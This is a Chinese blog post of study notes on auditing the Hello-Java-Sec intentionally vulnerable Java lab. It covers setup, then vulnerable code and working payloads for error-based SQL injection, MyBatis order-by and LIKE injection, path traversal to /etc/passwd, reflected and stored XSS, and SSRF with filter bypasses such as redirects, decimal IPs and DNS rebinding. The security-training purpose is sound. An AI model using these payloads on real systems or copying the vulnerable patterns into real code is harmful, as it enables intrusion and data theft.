java代码审计入门篇——Hello-Java-Sec(一)
·
链接:https://github.com/j3ers3/Hello-Java-Sec
系统学习一下java代码审计,故留下笔记
若有错误之处,还望指出~~
搭建靶场
环境
JDK 1.8环境 //高了就报错,推荐用宝塔面板,能一键管理java,可以省下一部分琐事
phpMyAdmin 5.0
PHP 7.4.33
MySQL 8.0.41
配置mvn镜像源
mvn -v // 可看到mvn的路径
找到settings文件里的 标签,将其下内容覆盖掉
<!-- 阿里云Maven镜像 -->
<mirror>
<id>aliyunmaven</id>
<mirrorOf>central</mirrorOf>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
<!-- 清华源(备用) -->
<mirror>
<id>tsinghua</id>
<mirrorOf>central</mirrorOf>
<url>https://mirrors.tuna.tsinghua.edu.cn/maven-central/</url>
</mirror>
<!-- 匹配所有仓库(防止漏下) -->
<mirror>
<id>mirror-all</id>
<mirrorOf>*</mirrorOf>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
调整数据库
新增一个数据库,最后修改src/main/resources/application-dev.properties
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/javasce?serverTimezone=Asia/Shanghai
spring.datasource.username=javasce
spring.datasource.password=1234567
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
server.port=8888
server.address=0.0.0.0
server.servlet.session.timeout=72h
启动靶场
docker拉去太慢了,还是手动编译
git clone https://github.com/j3ers3/Hello-Java-Sec
cd Hello-Java-Sec
mvn clean package -DskipTests
java -jar target/javasec-*.jar
这里可以用bt,方便一键管理靶场

开始实战
SQL注入
语句拼接 (Statement)
采用报错注入,获取数据库信息
vul1?id=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- +
报错注入函数主要有三个
updatexml:上面写了
extractvalue()
1' and extractvalue(1,concat(0x7e,(SELECT user()),0x7e))-- +
floor()
1' and (select * from (select count(*),concat((SELECT user()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +
语句拼接(PrepareStatement)
public String vul2(String id) {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
ResultSet rs = st.executeQuery();
}
漏洞代码 - JdbcTemplate
public Map<String, Object> vul3(String id) {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");
dataSource.setUrl(db_url);
dataSource.setUsername(db_user);
dataSource.setPassword(db_pass);
JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);
String sql = "select * from users where id = " + id;
// 安全代码:使用参数化查询,避免SQL注入风险
// String sql = "select * from users where id = ?";
return jdbctemplate.queryForMap(sql);
}
MyBatis
漏洞代码 - order by 注入
@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {
return userMapper.orderBy(field, sort);
}
// 不安全的注解写法
public interface UserMapper {
@Select("select * from users order by ${field} ${sort}")
List<User> orderBy(@Param("field") String field, @Param("sort") String sort);
}
// 不安全的XML映射写法
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
漏洞代码 - 搜索注入
/**
* 产生原因:由于在 LIKE 查询中直接使用 '%#{q}%' 会导致语法错误,一些开发者为了简化操作而改用 '%${q}%' 导致SQL注入
*/
@GetMapping("/vul/search")
public List<User> searchVul(@RequestParam("user") String user) {
return userMapper.searchVul(user);
}
// 不安全的注解
@Select("select * from users where user like '%${q}%'")
List<User> search(String q);
目录遍历
漏洞代码 - 任意文件下载
/**
* 产生原因:文件路径没做限制,可通过../递归下载任意文件
* 如下载 filename=../../etc/passwd
*/
public String download(String filename, HttpServletResponse response) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
try (InputStream inputStream = new BufferedInputStream(Files.newInputStream(Paths.get(filePath)))) {
response.setHeader("Content-Disposition", "attachment; filename=" + filename);
response.setContentLength((int) Files.size(Paths.get(filePath)));
response.setContentType("application/octet-stream");
IOUtils.copy(inputStream, response.getOutputStream());
return "下载文件成功:" + filePath;
} catch (IOException e) {
return "未找到文件:" + filePath;
}
}
代码分析
- 路径拼接风险:直接拼接
filename,会导致路径遍历攻击
请求
/vulnapi/Traversal/download?filename=../../../../../../../../../../../../etc/passwd
漏洞代码 - 任意路径遍历
/**
* 攻击者可以传入 "../../" 来访问项目目录以外的文件
*/
public String fileList(String filename) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
StringBuilder sb = new StringBuilder();
File f = new File(filePath);
File[] fs = f.listFiles();
if (fs != null) {
for (File ff : fs) {
sb.append(ff.getName()).append("<br>");
}
return sb.toString();
}
return filePath + "目录不存在!";
}
漏洞分析
- 代码直接拼接用户输入的filename参数,且未做任何路径校验
正确做法
- 危险字符过滤
- 路径规范化与前缀校验
XSS
反射型
问题代码
/**
* 简单的反射型XSS,没对输出做处理,当攻击者输入恶意js语句时可触发
*/
@GetMapping("/reflect")
public static String input(String content) {
return content;
}
恶意请求
/vulnapi/XSS/reflect?content=test<script>alert(1)</script>
代码分析
- 没对输出做处理,当攻击者输入恶意js语句时可触发,刚好前端又可以直接解析导致的
存储型
问题代码
@PostMapping("/save")
public String save(HttpServletRequest request) {
String content = request.getParameter("content");
xssMapper.add(content);
return "success";
}
同理
SSRF
SSRF 漏洞本质是 “服务器端请求未做任何访问控制”,
漏洞代码
/**
* 产生原因:url参数没做限制,可调用URLConnection发起任意请求,比如请求内网,或使用file等协议读取文件
* url=file:///etc/passwd
* url=http://172.17.0.1:80
*/
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
请求测试
/vulnapi/SSRF/URLConnection/vul?url=file:///etc/passwd
审计分析
// 漏洞核心1:无任何过滤,直接解析用户传入的URL(支持任意协议)
URL u = new URL(url);
// 漏洞核心2:直接打开连接,发起请求(无地址/权限限制)
URLConnection conn = u.openConnection();
// 漏洞核心3:读取并返回完整的响应内容(泄露敏感信息)
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
// 返回所有响应内容,攻击者可直接获取敏感信息
return html.toString();
解决方案
① 仅允许 HTTP/HTTPS 协议;
② 校验目标 IP 为合法公网 IP(禁止内网 / 本地 IP);
③ 限制请求超时、返回内容长度;
④ 过滤危险 URL 字符。
漏洞代码 - 绕过
/**
* SSRF修复经常碰到的问题,虽然过滤了内网地址,但通过短链接跳转、IP进制的方式可以绕过
*/
public String URLConnection2(String url) {
if (!Security.isHttp(url)) {
return "不允许非http协议!!!";
} else if (Security.isIntranet(Security.urltoIp(url))) {
return "不允许访问内网!!!";
} else {
return HttpClientUtils.URLConnection(url);
}
}
审计分析
- 核心问题是过滤机制只覆盖了 “初始 URL **的静态校验”,未处理 URL 访问过程中的动态跳转、**IP 的多格式表示、URL 解析特性等场景,
绕过方法
- 只校验初始 URL 的协议 / IP,未处理 URL 跳转(短链接 / 302 跳转)
http://short.url/redirect(短链接)
校验阶段:short.url的 IP 是1.2.3.4(公网),通过所有校验;
实际访问:short.url返回 302,跳转至http://127.0.0.1/etc/passwd,代码自动访问该内网地址。
2:IP 多格式表示绕过(isIntranet 只识别点分十进制)
构造 URL:http://2130706433/etc/passwd
3:URL 解析特性绕过(@符号 / 特殊域名)
@符号绕过:构造 URLhttp://www.baidu.com@127.0.0.1
特殊域名绕过(xip.io):构造 URLhttp://127.0.0.1.xip.io
4.DNS 重绑定绕过
更多推荐


所有评论(0)